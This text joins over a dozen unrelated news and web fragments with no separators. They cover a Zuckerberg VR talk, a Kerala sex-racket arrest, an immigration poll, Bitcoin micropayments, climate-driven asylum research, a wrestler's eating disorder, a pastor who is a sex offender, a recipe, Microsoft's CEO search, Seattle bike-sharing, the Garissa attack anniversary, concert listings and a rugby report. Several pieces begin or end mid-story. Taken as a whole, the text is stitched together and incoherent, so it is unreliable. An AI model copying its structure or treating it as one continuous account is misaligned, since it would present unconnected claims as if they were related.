Zuckerberg pointed to Dorothy Howard, an 80-year-old British grandmother who uses the Rift to visit places because she is no longer fit enough to go on vacations. You can use features like Facebook Spaces to get together with coworkers or relatives in distant places.
He also praised Echo Arena, a game for competitive gamers that is a lot like Ender’s Game.
Optimism is good, Zuckerberg said.
Eleven people were taken into custody across Kerala on Tuesday and Wednesday morning including two organizers of the 2014 'Kiss of Love' protests in a police raid led by DIG S Sreejith with the help of cyber police, to tackle alleged online sex rackets.
Updated copy- Police formally arrest Rahul Pasupalan and Resmi Nair in alleged sex racket case
Sources say that the Kerala police's cyber wing stumbled upon the alleged sex racket while investigating a complaint on a Facebook paedophile page called 'Kochu Sundarikal'.
Around five people have been arrested on the basis of the complaint, including the page admin, a man from Northern Kerala.
"We had filed an FIR in the 'Kochu Sundarikal' case and decided to pursue more links. This is when we stumbled on the sex racket, though it had nothing to do with the Facebook page. First we followed the leads of one particular woman who was used for sex work and supplied to clients. Then we tracked down two minors who had been brought in from Bengaluru," a senior police officer told The News Minute.
Read: Overseas Kerala man running paedophilic Facebook page arrested when he returned home
Some reports say model Resmi R Nair and her husband Rahul Pashupalan were amongst those taken into custody from Kochi while an infamous 'goonda' Akbar, a native of Kasargod was also detained on the allegations of being involved in the online sex trafficking of minor girls. "They have been taken in for questioning. After questioning, we will decide on the next course of action," said the police officer.
Four among the eleven taken into custody are women while there was also one minor, a native of Bengaluru, involved. While the police were trying to take these people into custody, three people escaped in a car, including two women and a man.
Incidentally, the complaint on 'Kochu Sundarikal', which lead to the two alleged rackets, was filed by another Facebook page called 'Sexually Frustrated Mallu', members of which were also part of Kiss of Love.
"This is just an investigation. Let the police prove there was a racket. Remember the Kerala police and others fabricated the entire ISRO spy scandal case and in that too a sex angle was used," Rahul Pasupalan's friend told TNM.
Kochu Sundarikal
The complaint against the Facebook page with photographs of minors was given by a resident of Thiruvananthapuram, who was associated with KoL and SFM movements. "The admin was operating out of India. He was a man in his late twenties and he had come to Kerala for his own wedding. We caught him after he logged on to the page again," the police officer said.
The Angus Reid Public Opinion poll of 1,002 American adults asked respondents if they'd want four guidelines in Arizona's immigration law enacted in their own state.
The law, the nation's toughest, seeks to identify, prosecute and deport illegal immigrants and gives police broad powers to stop people on suspicion of being in the United States illegally.
Seventy-one percent of poll respondents said they'd support requiring their own police to determine people's U.S. status if there was "reasonable suspicion" the people were illegal immigrants, the poll found.
An equal percentage supported arresting those people if they couldn't prove they were legally in the United States.
Almost two-thirds, or 64 percent, said they believed immigration hurt the United States, with nearly six in 10, or 58 percent, saying illegal immigrants took jobs away from American workers, the poll found.
When asked about solving the status of illegal immigrants, 45 percent said undocumented workers should be required to leave their jobs and be deported, the poll found.
Sixteen percent said those people should be allowed to continue working on a temporary basis and 28 percent supported letting them to stay and apply for U.S. citizenship.
Respondents in the U.S. Midwest were more likely than those in other areas to express a desire to deport illegal immigrants, the poll found
Huge problem
PageFair is a website devoted to finding solutions to the problem of ad-blocking. In their global report on ad-blocking, ‘The 2015 Ad Blocking Report’, they released the following surprising figures:
Ad blocking was estimated to cost publishers nearly $22 billion during 2015.
There are now 198 million active adblock users around the world.
Ad blocking grew by 41% globally in the last 12 months.
US ad blocking grew by 48% to reach 45 million active users in 12 months up to June 2015.
UK ad blocking grew by 82% to reach 12 million active users in 12 months up to June 2015.
As a result, content creators must adapt to a generation of people who are not necessarily prepared to accept advertising on their favourite websites. Bitcoin could provide a solution to this problem.
Bitcoin solution
Due to Bitcoin’s low transactional fees, it would be ideal for microtransaction payments for viewing sites on the internet. There are multiple startups in the cryptocurrency community who are looking to see widespread implementation.
PopChest, as discussed in a previous article, “is a service that allows YouTubers and video producers to earn money from their videos without the need for advertising. Users pay a very small fee in Bitcoin, usually $0.25 (approximately 0.000414 BTC at the time of my writing), to watch the content producer’s video. This directly supports the creator, and also allows users to see exclusive content. PopChest has had limited success, but recently, a YouTuber with 600,000 subscribers signed up for the service, creating a surge in interest.”
However, PopChest only solves the issue of ad-blocking on videos. Another startup, Satoshipay, hopes to address ad-blocking across all content. Their website states that they “process nanopayments of 1c or less and enable content providers to monetise their digital goods in completely new ways.” This essentially means content is put behind a Bitcoin paywall before users can access it.
ADZcoin
The final startup, ADZcoin, proposes to do something completely different. Instead of using Bitcoin, ADZcoin uses its own cryptocurrency and a social network to pay content creators, without any cost to the user. As explained on their website:
“Startpeeps (the social network) members earn free ADZcoins. Website owners add some code to their site and an ADZcoin donation widget will be displayed instead of advertisements when ad block is enabled. Visitors can donate ADZcoins to the website owner if they like the content and/or want to support the site. There are also other options for website owners, like blocking some premium content and ask an ADZcoin donation to unlock it, or simply ban ads all together and solely use the ADZcoin donation widget.”
The question of how ADZcoin will be able to distribute free ADZcoins to the users of Startpeeps is an interesting one, but the website explains that, even though Startpeeps, “won’t sell advertisements, won’t collect data of members and sell this to advertisers, [or] sell anything directly to its members,” it will still be able to achieve its goal through simple affiliate marketing.
Affiliate marketing in the context of ADZcoin means:
“There will be 1000s of sites listed and each site will have the latest coupons added to it. Whenever somebody wants to buy something online, they can use the coupon available, save some money, and Startpeepscoupons will earn a referral commission (this will be automated)...Startpeeps members won’t even need to take an extra step, except for installing a lightweight browser extension in a couple of clicks.”
The authors omitted asylum data from 2015 and 2016, when refugees were fleeing the Syrian Civil War and other conflicts. More than 1 million people applied for asylum annually during those two years, a spike well above the average 350,000 annual applicants from 2000 to 2014.
Schlenker and Missirian found an early correlation between weather and migration, but they waded through the data, trying to account for as much statistical noise as possible. They removed one-year shocks from events like the onset of the global financial crisis. They also factored in the difference between hot and cold countries, as a naturally colder country might be able to deal with a few extra degrees more easily than a hot country.
Ultimately, they found that the entire effect in asylum increases was attributable to temperature shocks in maize-growing countries that hit during the growing season, in the area where crops are grown.
Though the research seems to examine the relationship between climate change and migration, it’s actually getting at the deeper question of climate and governmental collapse or oppression. That’s because of the definition of forced migration: Only refugees from conflict or persecution can apply for permanent asylum in another country. The 1951 UN Refugee Convention, which every nation in the EU has signed, does not define a refugee as someone fleeing a country for economic reasons.
If a country suffered a temperature shock, then its refugees were three times more likely to be accepted for asylum than the average applicant to the EU. To Schlenker, this points to a deep connection between climatic crises and military conflict or persecution.
“The mechanism through which this works is conflict,” he told me. “We don’t know why they get accepted or not, but people in destination countries in the EU find them to be worthy of protection.”
The paper also projected its findings forward, by examining when various climate models believe weather shocks in growing regions could become more likely. They found modest increases. In a world that gets carbon-dioxide pollution under control and holds global warming to roughly 2 degrees Celsius, the number of asylum applications to the EU could rise by about 28 percent.
But if carbon pollution continues unabated, and global temperatures rise by about 5 degrees Celsius, annual applications could rise by 188 percent by 2070. More than 650,000 people could seek protection in the European Union annually.
Alexa Bliss was recently interviewed on the Chasing Glory with Lilian Garcia podcast. She spoke in-depth about how she deals with criticism from fans.
Alexa had a great response, which references her eating disorder that she went public with several months ago. Here is what she said:
“I’ve fully accepted the fact that if I’m going to do a career like this, I have to be willing to take criticism, because it’s a part of the job, you know? Any Instagram thing I post, someone’s going to say something, I know that. Anything on Twitter, someone’s going to judge whatever I do, whatever I say, whatever I look like, I understand that. But I also know that if I were to ever read into that and slip back into an eating disorder, my body will not survive another one. I’ve been told that multiple times with how my body reacts to it, I will not survive another one”
She continued:
“If I’m a little more heavier, if I’m ever a little thicker, that’s fine because that means I’m stronger. It means I’m not worried about not waking up in the morning, I’m not worried about the amount of calories I’m eating. There’s so many more things to life to worry about than that. Like they say, ‘An eating disorder will always be in the back of your head, you’ll never get rid of it.’ Once its there, its always there…. Yeah, there’s still foods I’m still afraid to. I’m terrified to eat certain foods, but I know that if I eat them, it’s going to be okay. I’m going to get through it. I’ve been very aware with the fact that being in the public eye, being on TV, being cast on Total Divas, I’m setting myself out there for criticism, but I have to know in my heart, what I know is right.”
A pretty awesome response.
Speaking of Alexa, here are some rumors about the fatal 4-way match at No Mercy.
According to First Coast News, a Jacksonville, Florida church has separated children out from their congregation so a pastor who confessed to sexual crimes against two young girls can continue preaching.
Former Shiloh Missionary Baptist Church pastor Darrell Gilyard was just released from prison in December. He’s now delivering sermons at Christ Tabernacle Missionary Baptist Church on North Davis Street.
Gilyard is now a registered sex offender and is on sex offender probation until December of 2014 according to the Department of Corrections.
While serving as pastor of Shiloh in 2008, he surrendered to police in 2008 and admitted to committing sex crimes against two girls under the age of 16. Get the facts, direct to your inbox. Subscribe to our daily or weekly digest. SUBSCRIBE
According to Britni Danielle of Clutch, Gilyard pleaded guilty in 2009 “to lewd conduct and lewd molestation of two underage girls.”
While he was the pastor of Shiloh Baptist Church Gilyard molested a 15-year-old girl and sent a lewd text message to another. Under the conditions of his plea agreement, Gilyard cannot have “unsupervised contact with children under 18 years old,” and in separating children from the congregation, “his new church has taken extraordinary steps to help Gilyard stick to the terms of his deal.”
“All these people over here are trying to do is worship, which is what you all ought to be doing,” said one church member when asked his opinion by First Coast News.
“He’s preaching the Lord’s word and he can be wherever he wants to,” said Lindy Brown.
Another parishoner said “it’s proof of how passionate the congregation is about Gilyard returning to leadership.”
“I’m passionate about doing the right thing and the right thing is giving another person another chance,” said Smith.
This chance also helps Christ Tabernacle out financially. Attendance was down, but with Gilyard it has increased.
Church members say it was the best decision, based on their beliefs.
“That’s what God would have us do. He would have us to appreciate everybody for who they are because none of us are without sin,” said one parishoner.
For the pastry, beat the butter and sugar in a large bowl until just mixed. Break in a whole egg and a yolk (keep the white for glazing later). Beat together for just under 1 min – it will look a bit like scrambled egg. Now work in the flour with a wooden spoon, a third at a time, until it’s beginning to clump up, then finish gathering it together with your hands. Gently work the dough into a ball, wrap in cling film, and chill for 45 mins. Now mix the 140g/5oz sugar, the cinnamon and flour for the filling in a bowl that is large enough to take the apples later.
According to reports on October 25, the idol has been offered the male lead role in JTBC’s upcoming drama, “Miss Hammurabi” (literal title).
A source from Woollim Entertainment stated, “It’s true that he has received a casting offer. However, he is currently considering it, and there is nothing confirmed yet.”
If he accepts, L will be playing Im Ba Reun, a judge who is an elite among elites but has no interest in being successful. While apathetic towards everything, he is a man of principle who thinks that making exceptions out of sympathy or haste is abusing a judge’s power.
Based on a popular novel of the same title written by real-life judge Moon Yoo Seok, “Miss Hammurabi” follows the lively story of newly appointed judge Park Cha Oh Reum, who is passionate to a fault. Aiming to be the legal drama version of “Incomplete Life,” the story will focus more on the characters than the cases.
Producing director Kwak Jung Hwan, known for his work with “Slave Hunters,” “The Fugitive Plan B,” and “The K2,” will be directing the project, while Studio & NEW, known for KBS2’s “Descendants of the Sun” will be heading the production-side of things.
“Miss Hammurabi” is currently in talks to air sometime in the beginning of next year.
Ballmer told the board in June he had a handshake deal to buy Nokia’s devices group, and required only the board’s stamp of approval. He skipped the traditional post-meeting dinner for his son’s middle school graduation, only to find out the next day the board had rejected the deal and didn’t want to discuss it. Ballmer was furious, to the point of yelling and threatening resignation. Founder Bill Gates was part of that decision, and Ballmer felt betrayed.
The board eventually relented and agreed to a version of the deal, but it had become clear to Ballmer that there was no way he could stay even though there wasn’t a CEO candidate in place to follow him.
“There was too much water under the bridge with this board,” Ballmer told McLean.
All of this led to a schism between Gates and Ballmer: the longtime friends who stopped speaking, according to McLean, complicating an already tough search
Here’s McLean’s revealing list of people the board seriously considered:
Alan Mulally, former CEO of Ford
The turnaround specialist was initially a frontrunner, but felt he shouldn’t be required to formally interview for the job.
Steve Mollenkopf, CEO of Qualcomm
He was then COO of the telecom company and a leading external candidate—but was named the new CEO within 24 hours of reports Microsoft was seriously interested.
Paul Maritz, CEO of Pivotal
Maritz apparently felt that Microsoft was significantly behind and would have to get smaller and make tough choices. Gates felt otherwise, and Maritz declined, thinking he wouldn’t have sufficient freedom.
John Thompson, CEO of Virtual Instruments and Microsoft board member
A source told McLean that the former IBM executive, who replaced Ballmer as Microsoft’s chairman, never truly pursued the job. But Gates apparently said he wouldn’t support him over Nadella when other board members suggested the idea.
Hans Vestburg, CEO of Ericsson
Parts of the board really wanted an outsider even after others declined, but Vestburg delayed meetings leading to the conclusion he wasn’t all that interested.
Kevin Turner, COO of Microsoft
The former Walmart executive was someone that Ballmer pushed, but he lost out to Nadella as the top internal choice.
How did Nadella emerge from this minefield of candidates?
Those are the two new bike-sharing programs in the city: Spin and LimeBike. The competing services are rolling out in Seattle before other major U.S. cities, giving us a front-row seat for a new approach to short-term urban bike rentals — something that our city has struggled with in the past, with the ill-fated Pronto program.
Earlier this month, the Seattle Department of Transportation released regulations that paved the way for both private bike-sharing companies to launch in Seattle under a six-month pilot. The biggest difference from Pronto: these bikes don’t require you to return them to dedicated docking stations. This approach has taken off in China.
So what’s it like to use these new services in Seattle? Your intrepid GeekWire cyclists have been testing Spin and LimeBike since last week, riding the bikes in neighborhoods ranging from Ballard to the University District to Pioneer Square and the downtown Seattle waterfront.
Just so you know who you’re dealing with here: I like to commute on my bike, and ride for fun and exercise on the weekends. My colleague Taylor Soper is a casual cyclist, preferring to get his exercise on the basketball court these days. Neither of us will be entering next year’s Tour de France.
Our takeaways: We find these services useful and convenient. The bikes are relatively easy to ride, and they travel smoothly on flat roads. They are not great for bumpy roads or steep hills — sorry, no electric power. The price is reasonable, at $1 per half hour. The technology is cool, when it works. We’d recommend that you try these services if you get the chance — but only if you have your own helmet, because neither offers them.
Continue reading for more details on our experience.
LimeBike vs. Spin
The two services have many similarities:
Dockless: With both LimeBike and Spin, there’s no station where you can return the bikes. They can be left around town, on sidewalks or basically “anywhere responsible,” as Spin says. It’s similar to how car2go and ReachNow operate their car-sharing services.
Pricing: Both services cost $1 per half hour of use.
Apps: Spin and LimeBike both work via smartphone apps that use GPS to locate available bikes on a map.
Helmets: Sorry, it’s BYOH, which is a problem, as we’ll explain further below.
Bike Style: They both offer “cruiser” bikes, the kind you might see someone riding down a boardwalk. Both have baskets with solar panels in the bottom to power the on-board systems. Sorry, no electric-powered motors yet.
Locking: They lock via a simple bar mechanism on the back wheel, which opens automatically when you scan a QR code on the bike using the smartphone app — at least theoretically, as Taylor explains below. Sliding the lock shut ends the ride automatically. This worked consistently well. The rear-wheel locks are similar in concept, but Spin’s lock is more simple. LimeBike’s lock seems like a fancier version, with more beeping and flashing.
Bells: Both have bells built into the left handle grip.
Phantom Bikes: We encountered situations with both services when we were not able to find bikes in real life that were supposed to be there, according to the map. More on this below.
There are also a bunch of differences, apart from the colors:
Cycle: LimeBike’s bike seems a bit sturdier overall than Spin’s bike, but the LimeBike frame feels a bit stiff when riding. In addition, for me, at about 6-foot-3, LimeBike seemed just a bit too small. Spin’s bike seemed to be slightly bigger, or perhaps just better-designed for a larger rider.
Gears: LimeBike offers eight-gear bikes; Spin offers three-gear bikes. Both of us found that Spin’s gear-shifter can get sticky, making it difficult to shift. LimeBike’s gear shifter seems to work more smoothly.
Headlamp: LimeBike’s headlamp mechanism seems sturdier. I encountered two broken headlamps on Spin bikes one evening this weekend. One of them had broken off, and another just wasn’t working. Earlier last week, the light on another Spin bike worked well and was bright enough to light the road in front of me. I haven’t yet tested a LimeBike at night.
Seats: Both seats are comfortable, but LimeBike’s seat has a hydraulic mechanism that makes adjusting it to the proper height much easier and faster.
Payment: Spin’s iOS app accepts credit cards or Apple Pay, which is convenient if you use Apple Pay already, while LimeBike requires you to enter your credit card manually.
Customer Service: LimeBike’s app offers the ability to submit a customer service request. Spin’s app has a live chat functionality.
Parking: In contrast with Spin’s casual “park anywhere responsible” approach, LimeBike tells riders, “Please park only at bike racks and areas designated specifically for bike parking.” However, we were still able to park and leave LimeBike on a random sidewalk on Phinney Ridge without any issues.
Maps: Along with that admonition, LimeBike’s live map shows you good places to park your bike, such as bike racks. Spin’s live map does not. Spin’s archived ride maps show you the starting and ending points after your ride. LimeBike’s ride maps show you the squiggly route you took, which is neat and potentially helpful.
Availability: LimeBike is just getting started in Seattle, with only a few bikes scattered around the city as of this post. LimeBikes were difficult to find this past weekend, but that is expected to change quickly. Seattle is LimeBike’s first big city rollout, after UNC Greensboro, South Bend, Indiana, and South Lake Tahoe.
Spin ran a trial previously in Austin, but Seattle is also its first official city rollout. Spin has deployed hundreds of bikes in Seattle so far. They were plentiful and easy to find this weekend around the city. City rules initially allow 500 bikes from each provider, but that goes to 1,000 each next month, and 2,000 each the following month.
Ultimately, Spin says it will have 10,000 bikes spread across Seattle, with a team of 20 people in marketing and operations to support the service in the city. Spin CEO Derrick Ko was previously an engineer and product manager at Lyft. The company has raised $8 million in a funding round led by Grishin Robotics.
LimeBike, founded by tech industry vets Brad Bao and Toby Sun, has raised $12 million from investors including Andreessen Horowitz.
Both companies are based in the Bay Area, and are planning broader national rollouts.
Helmet problem
The biggest challenge seems to be the lack of provided helmets. Riding without a helmet is not only dangerous — it’s illegal in Seattle and King County. LimeBike is giving away 1,000 helmets at promotional events, but neither company is providing helmets to riders as part of the service.
One morning last week, I saw one person in Ballard, who clearly hadn’t ridden a bike in a while, unlock a Spin bike and wobble off with only a straw hat on his head. On Sunday, there was a person riding a LimeBike without a helmet, zipping downhill quickly on the busy 8th Avenue West, headed to Fremont.
This isn’t going to end well.
It seems like it would be possible, at least theoretically, to put helmets in the baskets with some kind of lid that opens when the bike unlocks. Personally, we’d pay more for the services if they came with helmets. We’ve heard from some readers who wouldn’t want to use a shared community helmet. But offering helmets would really make using these services more convenient and spontaneous, especially for tourists.
Pronto initially provided helmets at its docking stations for free, but then began charging $2 per rental.
Technical glitches
We’ve also encountered bugs. Here is Taylor’s account of using Spin.
It took me three tries to have a successful Spin experience. My first attempt was west of Fremont, where the app showed a bike just off the Burke-Gilman Trail. As I approached the area, no orange bikes were visible. I spent a few minutes walking around the area, checking the app, and making sure I was in the right spot. Still no bike. I found the “help” section in the app easily and was quickly connected to a live chat with a Spin rep — this was a nice touch — who verified that she saw the bike on her end as well. With no other Spin bikes in the vicinity, I gave up on my first Spin try. Another Spin rep followed up an hour later and explained that the bike was not sending its GPS location and “unless it was hidden behind something or was not in plain view, we’ve found that this usually happens when the last person who used the bike decides to bring their Spin bike inside or place it in a hidden covered area.” My second attempt came a few days later in the Greenwood neighborhood when I decided to make my 3-mile commute to GeekWire HQ via Spin. This time, I was able to locate the bike, which was exactly where the app said it was. But after inspecting the bike and trying to move it around a bit, the lock mechanism seemed to get stuck. After “starting” my trip on the app, I could hear the lock beep every few seconds, but it wouldn’t actually unlock. I eventually got an error message and went into the live chat again. Someone responded quickly, asked for the bike number, and gave me a promo code to use later. I ended up hopping in a BMW ReachNow car to get to work, as no other bikes were nearby. Finally, on my third try, my Spin experience was seamless. I located the bike in Fremont; it unlocked immediately after I “started my trip”; and I was able to ride up and down the Burke-Gilman Trail — finally! My takeaway: The bikes themselves were similar to what Pronto offered, but being able to drop them off practically anywhere is a game-changer. The pricing model is also more reasonable and flexible than Pronto. But again, the helmet issue is still a problem. And being in Seattle, I really wish these bikes had some electric power — that’s what can make something like this really work in a hilly city.
Like Taylor, I also encountered instances, on both Spin and LimeBike, when the QR code was recognized and the ride started in the app, but the lock didn’t open until I jostled the bike a bit or scanned the code again.
A piece of the transportation puzzle
Overall, we’re happy to see this next evolution of bike-sharing rolling out in Seattle, and we hope they continue to make it better. In a city where traffic seems to worsen by the day, new tech-powered transportation systems — from bike-sharing to BMW ReachNow to Uber/Lyft — are providing more ways for folks to get around town.
There are lots of situations when bike-sharing is useful. For example, I jumped on a Spin to get away from the crowds leaving the Mariners game at Safeco Field on Saturday night, and the Sounders game at CenturyLink Field last Wednesday night, riding down the waterfront to a spot where it was easier to get an Uber or bus the rest of the way home.
Workers could easily use one of these bikes to quickly get to an appointment across town. The bikes could also be convenient in situations where you’d otherwise need to lock your own bike outside. Take one of these instead, and you don’t have to worry about bike theft.
Garissa (Kenya) (AFP) - Kenyans on Saturday commemorated the first anniversary of a terrorist attack that killed 148 people, mostly students, at a university in Garissa in the country's worst massacre since 1998.
Four gunmen from the Shebab, Al-Qaeda's East Africa branch, raided Garissa University College on April 2 last year, shooting students dead in their dormitories and then rounding up and executing scores more in a hall of residence.
It was the worst terrorist attack to hit Kenya since Al-Qaeda bombed the US embassy in Nairobi in 1998, killing 213 people.
On Saturday, a group of about 100 people wearing T-shirts with peace slogans gathered in Garissa, 365 kilometres (225 miles) northeast of the capital Nairobi, to participate in a run in honour of the victims.
"We stand with the parents, we want to tell them that together as a country, from the north to the south, west to east, Muslims and Christians... together we must fight terror," said Garissa MP Aden Duale, who took part in the run.
Wheelchair-bound Farah Ali, a Garissa resident, pushed himself along the five-kilometre (three-mile) course to show "strength in solidarity" with the victims.
Other remembrance ceremonies were held in dozens of schools and universities across Kenya, including in the central town of Eldoret, where hundreds of attack survivors relocated to continue their studies.
Garissa university reopened in January but few of the former students were willing to return.
- Vigils -
Prayers and candlelight vigils were due to be held later in the day in Garissa and Nairobi, led by government officials.
Government involvement in the anniversary commemorations contrast starkly with the days following the attack itself when it was left to ordinary people to organise memorial vigils.
The security response to Garissa was -- as during an assault on Nairobi's Westgate mall in 2013 -- strongly criticised by many Kenyans.
It took 16 hours for a special anti-terror unit to bring the attack to an end, with their deployment slowed by a senior police officer who had commandeered the force airplane for a family excursion.
As with Westgate there has been no public enquiry into what went wrong.
Kenya has suffered at the hands of Shebab since sending troops into neighbouring Somalia to fight the jihadists in 2011.
Terrorist attacks have been frequent and deadly while in Somalia, Kenyan soldiers have been killed and their commanders accused of war-profiteering through involvement in charcoal and sugar smuggling.
In January, Kenya suffered what is thought to be its worst-ever military loss when an army outpost in southern Somalia was overrun by Shebab fighters.
Monday, November 6th
Myth Live – Kid Cudi
All Ages
Doors @ 8:00
Ticket Info Here
7th St Entry – Guantanamo Baywatch w/ Josh Harmony & Co. and Chalk
18+ Show
Doors @ 7:30
Ticket Info Here
Tuesday, November 7th
First Avenue – GWAR w/ Ghoul, He Is Legend and U.S. Bastards
All Ages
Doors @ 5:00
Ticket Info Here
The Cabooze – Syd w/ Kodie Shane and DJ Oreo
18+ Show
Doors @ 8:00
Ticket Info Here
7th St Entry – Phoebe Ryan w/ Morgxn and Molly Kate Kestner
18+ Show
Doors @ 9:00
Ticket Info Here
The Cedar – Nano Stern w/ Matt Jennings
All Ages
Doors @ 7:00
Ticket Info Here
Dakota Jazz Club – Crystal Bowersox
Ticketed Event
7:00 pm
Info Here
Triple Rock Social Club – Busey w/ Steal Shit Do Drugs & The Smokes
18+ Show
Doors @ 8:00
Info Here
Wednesday, November 8th
Myth Live – Odesza w/ Sofi Tukker and Kasbo
SOLD OUT
All Ages
Doors @ 7:00
Skyway Theatre – The Motet & Dopapod
18+ Show
Doors @ 8:00
Ticket Info Here
The Cabooze – Abisha Uhl w/ Strange Daze and Mötel Sixx
18+ Show
Doors @ 8:00
Ticket Info Here
7th St Entry – Witt Lowry w/ Ro Ransom
SOLD OUT
All Ages
Doors @ 6:00
Amsterdam Bar & Hall – Immolation w/ Glutton for Punishment & Phlegethon
16+ Show
Doors @ 6:00
Ticket Info Here
Triple Rock Social Club – Turnover w/ Elvis Depressedly & Emma Ruth Rundle
SOLD OUT
18+ Show
Doors @ 7:00
The Cedar – LO’JO
All Ages
Doors @ 7:00
Ticket Info Here
Icehouse – Dusty Heart + Scott Hirsch
21+ Show
9:00 Showtime
Ticket Info Here
Thursday, November 9th
Roy Wilkins Auditorium – LCD Soundsystem
All Ages
Doors @ 7:00
Ticket Info Here
Myth Live – Odesza w/ Sofi Tukker and Kasbo
All Ages
Doors @ 7:00
Ticket Info Here
First Avenue – Kamasi Washington w/ PHO
18+ Show
Doors @ 7:00
Ticket Info Here
Skyway Theatre (The Loft) – Phuturepri
18+ Show
Doors @ 8:00
Ticket Info Here
The Cabooze – Alannah McCready w/ Shalo Lee Band and 8th Street Band
18+ Show
Doors @ 8:00
Ticket Info Here
Fine Line Music Cafe – Shout Out Louds
18+ Show
Doors @ 7:00
Ticket Info Here
Triple Rock Social Club – The Modern Era w/ The Usual Things & Denim Matriarch
18+ Show
Doors @ 8:00
Ticket Info Here
7th St Entry – And The Kids ‘Don’t Die’ Tour w/ Kalbells
18+ Show
Doors @ 7:30
Ticket Info Here
Skyway Theatre (Studio B) – The National Parks
18+ Show
Doors @ 8:00
Ticket Info Here
Turf Club – SUSTO w/ Dawg Yawp
21+ Show
Doors @ 7:30
Ticket Info Here
Friday, November 10th
Fine Line Music Cafe – The Infamous Stringdusters and The Travelin’ McCourys
18+ Show
Doors @ 7:30
Ticket Info Here
First Avenue – Highly Suspect w/ Bones and DJ Redbees
SOLD OUT
18+ Show
Doors @ 8:00
Myth Live – Jon Pardi w/ Midland & Runaway June
SOLD OUT
All Ages
Doors @ 7:00
The Cabooze – Felly w/ Trip Carter and Trapo
15+ Show
Doors @ 7:00
Ticket Info Here
Skyway Theatre (The Loft) – Nora En Pure
18+ Show
Doors @ 8:00
Ticket Info Here
Medina Entertainment Center – Little River Band w/ The Belfast Cowboys
21+ Show
Doors @ 7:30
Ticket Info Here
Amsterdam Bar & Hall – In Hearts Wake & Fit For A King
16+ Show
Doors @ 6:00
Ticket Info Here
Turf Club – Dead Man Winter & Friends
SOLD OUT
21+ Show
Doors @ 8:00
Skyway Theatre (Studio B) – Foreign Beggars
18+ Show
Doors @ 8:00
Ticket Info Here
18+ Show
Doors @ 9:00
Ticket Info Here
Icehouse – David Roos
18+ Show
No Cover
Doors @ 6:30
7th St Entry – Great Good Fine OK w/ Tigertown
18+ Show
Doors @ 8:00
Ticket Info Here
Saturday, November 11th
First Avenue – Highly Suspect w/ Bones and DJ Redbees
SOLD OUT
18+ Show
Doors @ 8:00
Fine Line Music Cafe – IBEYI w/ theMIND
18+ Show
Doors @ 8:00
Ticket Info Here
Skyway Theatre – Infected Mushroom
18+ Show
Doors @ 8:00
Ticket Info Here
Myth Live – Zomboy w/ Eptic & B2B
18+ Show
Doors @ 8:00
Ticket Info Here
The Cabooze – Ward Davis w/ Kendell Marvel
18+ Show
Doors @ 8:30
Ticket Info Here
Medina Entertainment Center – Gypsy (Final Performance) w/ Reneé Austin
21+ Show
Doors @ 7:30
Ticket Info Here
Amsterdam Bar & Hall – Your Memorial Farewell Show w/ In Search Of Solace
15+ Show
Doors @ 5:00
Ticket Info Here
7th St Entry – Jessica Lea Mayfield w/ Blank Range
18+ Show
Doors @ 8:00
Ticket Info Here
Turf Club – Dead Man Winter & Friends
SOLD OUT
21+ Show
Doors @ 8:00
Triple Rock Social Club – Ted Leo and the Pharmacists w/ Ian Sweet
SOLD OUT
18+ Show
Doors @ 8:00
Sunday, November 12th
First Avenue – O.A.R. w/ The New Respects
SOLD OUT
18+ Show
Doors @ 7:00
Myth Live – In This Moment w/ Hollywood Undead
All Ages
Doors @ 6:00
Ticket Info Here
The Cedar – Gaelynn Lea’s Holiday Show w/ Rachael Kilgour
All Ages
Doors @ 7:00
Ticket Info Here
Triple Rock Social Club – Slow Magic w/ Point Point and Qrion
18+ Show
Doors @ 7:00
Ticket Info Here
Aviva Premiership Worcester (12) 24 Pens: Mills 8 Saracens (7) 18 Tries: Ashton, Brits Cons: Lozowski Pens: Lozowski, Spencer
Worcester stunned Premiership champions Saracens with a deserved win at Sixways in which home stand-off Ryan Mills kicked all 24 of the hosts' points.
Warriors led 12-7 at the break from Mills' boot, despite England wing Chris Ashton scored Saracens' first try.
After the break Mills and Alex Lozowski then traded penalties before Worcester's fly-half added three more.
Schalk Brits' late, unconverted try made it 24-15 but all Sarries could add was a late penalty for a bonus point.
That kept them within reach of leaders Wasps in second, while, in his first Premiership game in charge as director of rugby, Gary Gold's Worcester climb five points clear of bottom club Bristol, beaten heavily at home by Harlequins on Friday night.
After a positive start, Mills missed his opening attempt at goal but he soon found his range to take advantage of weakened Saracens' uncharacteristic ill-discipline as Warriors dominated possession and field position.
The fly-half pushed his side into a 9-0 lead, the third of his penalties also earning Saracens' Mike Ellery a yellow card for a late challenge on Francois Hougaard.
But, on 35 minutes, while still a man short, Ashton pounced on a kick through from England squad member Lozowski, who added the conversion.
At 12-7 in the hosts' favour, history indicated that Saracens would mount a strong second-half comeback but, with fit-again scrum-half Hougaard making his first Premiership appearance of the season, it was Worcester who took charge.
Mills made sure that Saracens' continued infringements proved to be costly until, with seven minutes to go, Saracens' pack drove over. But the conversion, which would have brought back the visitors to within a score was missed, and all Ben Spencer's last-minute penalty earned his team was a losing bonus point.
Mills' 24-point haul was a Worcester club record. The last time any player scored as many points, while contributing 100 per cent of their team's tally, was November 2014 when Exeter's Gareth Steenson landed nine kicks, equalling the Premiership record, for a 27-point haul, also in a home win against Saracens.
Worcester director of rugby Gary Gold told BBC Hereford & Worcester:
"I'm proud of the guys as they had to take in a lot of information in a short space of time. As long as we showed fight, the result wasn't as important.
"We didn't want to do anything flash and there wasn't anything scientific in our tactics but we needed to shore up our defence.
"It'll prove to the boys that they can do it but the issue is whether we are able to repeat it and it's not a one-off, as we have to play many of the good teams in the Premiership in our remaining fixtures."
Saracens director of rugby Mark McCall:
"It was very disappointing but all credit to Worcester, who pressurised and harassed us throughout.
"Our set-piece was very poor, particularly in the first half, as we couldn't gain a platform.
"We chased the game too early, our discipline was bad and they kicked very well to keep us on the back foot."
Worcester: Adams; Heem, Olivier, Willison, Humphreys; Mills, Hougaard; Bower, Singleton, Schonert, O'Callaghan (capt), Spencer, Vui, Lewis, Faosiliva.
Replacements: Bregvadze (for Singleton, 57), Alo (for Schionert, 62), Mama (for Lewis, 65), Cavubati (for O'Callaghan, 74).
Not used: Johnston, Baldwin, Lamb. Howard.
Saracens: Gallagher; Ashton, Tompkins, Barritt (capt), Ellery; Lozowski, Wigglesworth; Barrington, Brits, Du Plessis, Rhodes, Hamilton, Fraser, Burger, Wray.
Replacements: Saunders, Lamositele, Figallo, Flanagan, Brown, Spencer, Malins, Bosch.
Sin Bin: Ellery (27).
Referee: Tom Foley.
